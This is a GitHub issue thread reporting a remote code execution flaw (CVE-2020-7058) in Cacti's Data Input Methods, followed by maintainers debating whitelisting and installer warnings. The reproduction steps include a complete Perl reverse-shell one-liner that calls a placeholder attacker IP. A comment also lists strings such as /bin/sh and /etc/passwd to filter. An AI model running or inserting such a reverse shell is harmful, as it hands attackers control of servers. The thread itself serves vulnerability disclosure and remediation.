Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Critical vulnerability: Remote Code Execution via string/command type Input String #3186

Closed
0xfatty opened this issue Jan 14, 2020 · 19 comments
Assignees
Labels
installer Installation issue SECURITY A security issue reported through CVE
Milestone

Comments

@0xfatty
Copy link

0xfatty commented Jan 14, 2020

Describe the bug
Input validation error in data_input.php leads to Remote Code Execution via Input String (Script/Command) edit actions. By default, Cacti was installed with several Data Input Methods. Some of them was created using Script/Command input type. An attacker will be able to edit the Input String to insert malicious code and take control of the server.

Cacti version: Latest (1.2.8)

To Reproduce
Steps to reproduce the behavior:

  1. After logged in, navigate to Data Collection -> Data Input Methods -> Unix - Ping Host
  2. By default, Input String was specified as: perl <path_cacti>/scripts/ping.pl <hostname>. Let's append a malicious perl script in front of current script:

perl -e 'use Socket;$i="**ACTTACKER-IP**";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'; perl <path_cacti>/scripts/ping.pl <hostname>

  1. By default, Unix -Ping Host data input method is being used by Unix - Ping Latency Graph template. This means we can create Unix - Ping Latency in current device and gain Remote Code Execution

Expected behavior

  • By default, Ping Host works as a feature to check if a host is up/down. With the malicious code appended into the Input String, the server will make a call back to Attacker's machine first.

Impact

  • The vulnerability would let an authorized user take control of the server. Attack will then be able to take down the system as well as use the system for malicious purposes.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: Kali Linux, Ubuntu
  • Browser : Firefox, Chrome
  • Version: Firefox 72.0, Chrome 79.0.3945.117

Remediation

  • I would think about two (2) solutions:
    1 - Using regex to catch all other strings different from expected string
    2 - Hard-coding perl script into source-code and force the application to take only 1 filtered input (hostname).

Chi Tran
research@ctrsec.io

@0xfatty 0xfatty changed the title Critical: Remote Code Execution via string/command type Input String Critical vulnerability: Remote Code Execution via string/command type Input String Jan 14, 2020
@netniV
Copy link
Member

netniV commented Jan 15, 2020

This does sound like a CVE, have you raised a CVE for this?

@0xfatty
Copy link
Author

0xfatty commented Jan 15, 2020

Hi @netniV ,

Per your response, I have just requested a CVE from MITRE. Please let me know if you need any further information. I would be more than happy to help.

Sincerely,
Chi Tran

@TheWitness
Copy link
Member

This is a false alarm. There is whitelisting in Cacti for the Data Input Method, it's not on by default. Please look into the config.php option.

@TheWitness
Copy link
Member

TheWitness commented Jan 15, 2020

I believe that the Debian package enables by default. If a Data Input Method has been detected to have changed, all Data Sources are immediately disabled until the admin confirms the change. There is a cli for this purpose as well in the cli directory.

@0xfatty
Copy link
Author

0xfatty commented Jan 15, 2020

Hi @TheWitness,

First of all, I am sure I followed the default installation from Cacti documentation and did not change anything from config.php file.

Second of all, I am going to disagree with “false alarm” since the impact would gain users access to the server without touching anything to the code. In the situation Cacti is currently running, an authorized user can make changes on Input String to create new graph template.

It’s 100% I do not understand about Cacti that much like you do. But based on the behavior of this action, it should not be considered “false alarm”.

Sincerely,

Chi Tran

@0xfatty
Copy link
Author

0xfatty commented Jan 15, 2020

Also, you mentioned that “Debian package enables by default”, I don’t think in any cases, an authorized admin or user should gain Remote Code Execution on the server.

@netniV
Copy link
Member

netniV commented Jan 15, 2020

Thanks for the feedback, Chi. Your thoughts are mirroring my own and we will discuss this internally in order to provide an update this week.

@netniV netniV self-assigned this Jan 15, 2020
@TheWitness
Copy link
Member

TheWitness commented Jan 15, 2020

No need to get thorny @smutranchi, this feature has been there for a while. If you review the config.php.dist before installing, you would have not had this issue.

Hopefully you were not bit by this and hopefully you did not run using a root account or any other privileged account. It's Open Source after all and @netniV, as he indicated, is going to attempt to make this more obvious for future installs.

@0xfatty
Copy link
Author

0xfatty commented Jan 15, 2020

Hi @TheWitness ,

I do apologize if my words sound thorny to you. I did not mean that at all.

I am addressing this issue as a malicious user when everything is already setup, not the ones who setup and install Cacti. Hence, reviewing config.php file in this case is not needed.

Assuming an attacker got access to the dashboard, if this issue is not in there, he would not be able to do anything except for creating graphs/devices. Otherwise, he could gain RCE and destroy the whole thing on server. Let’s say the server also contains sensitive DB or something like that, that would be huge impact.

Once again, I do apologize if I look like a mad guy, I didn’t mean that at all. However, I am still standing on my points that RCE should not happen in any cases. It’s been there for awhile does not mean it’s safe.

Sincerely,

Chi Tran

@netniV netniV added installer Installation issue SECURITY A security issue reported through CVE labels Jan 15, 2020
@netniV netniV added this to the v1.2.9 milestone Jan 15, 2020
@0xfatty
Copy link
Author

0xfatty commented Jan 16, 2020

Hi @netniV,

A CVE was assigned to this matter for tracking purposes: CVE-2020-7058

@netniV
Copy link
Member

netniV commented Jan 16, 2020

Thanks, I will use this in our CHANGELOG and notifications.

@netniV
Copy link
Member

netniV commented Jan 19, 2020

So, I think enabling the whitelist will require a notification that it could break existing functionality. We will warn about this if we are enabling it in the installer, plus on the final screen that they will need to review the scripts that are installed vs those in the white list.

Part of me feels that doing this in a patch release will lead to a big number of issues/queries over it, but we have hardly started the next major release so can't even suggest it be applied just to there. My biggest concern is those who are using the github sources, as they will have little or no indication if they are already at 1.2.9 from those sources.

@TheWitness
Copy link
Member

Maybe for this release we simply put a big fat warning and tell them what to do to enable, with a confirm that they have read this warning. That would be a good compromise to me.

@0xfatty
Copy link
Author

0xfatty commented Jan 19, 2020

I do agree with you about it. Since it’s a RCE, I definitely feel like there is no reason for that code to exist as is.

The concern is that if we are using whitelisting, that action it takes of disabling all sources is draconian. Which means if I gain access to Cacti dashboard and make one small dummy change to the script, I can disable everything ? yes? (please correct me if I am wrong at this point).

For me personally, I would try to figure out a way to filter out malicious call (the use of /bin/sh, cmd.exe, /etc/passwd, etc) without using whitelisting. ?

@netniV
Copy link
Member

netniV commented Jan 20, 2020

The problem with exclusion is that you are assuming nothing else can be compromised. So, if a new shell was installed that we didn't know anything about, that could be used since we didn't know.

Using whitelisting is a good way forward, but should all sources be disabled just because a new one was added in? Probably not, there needs to be a verified way to know that source was specifically allowed and then only require whitelisting of new sources (any changes to others should fail - sha256 hash maybe?).

However, that's a whole bunch of new code to add and really should be in the major release. So, people really have a choice in the current version, accept the risk or accept whitelisting. Normal users can't add new sources so the risk of disabling all sources only occurs with a malicious admin meaning the risk is small.

@TheWitness
Copy link
Member

Today, it only disables the one data input method, as when you save, it updates the path everywhere. This is why, when we see a change, all data sources using that input method are clipped.

@netniV
Copy link
Member

netniV commented Jan 24, 2020

I need to review this at the weekend, decide the best approach.

@cigamit
Copy link
Member

cigamit commented Feb 2, 2020

I modified the installer today to warn of the input_whitespace setting. There presently is no option to automatically enable it, but you can not leave the installer screen till you have acknowledged you have read this.

@netniV netniV closed this as completed Feb 10, 2020
@paulgevers
Copy link
Contributor

For the record, in Debian I am not enabling whitelisting by default.

@github-actions github-actions bot locked and limited conversation to collaborators Aug 23, 2020
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
installer Installation issue SECURITY A security issue reported through CVE
Projects
None yet
Development

No branches or pull requests

5 participants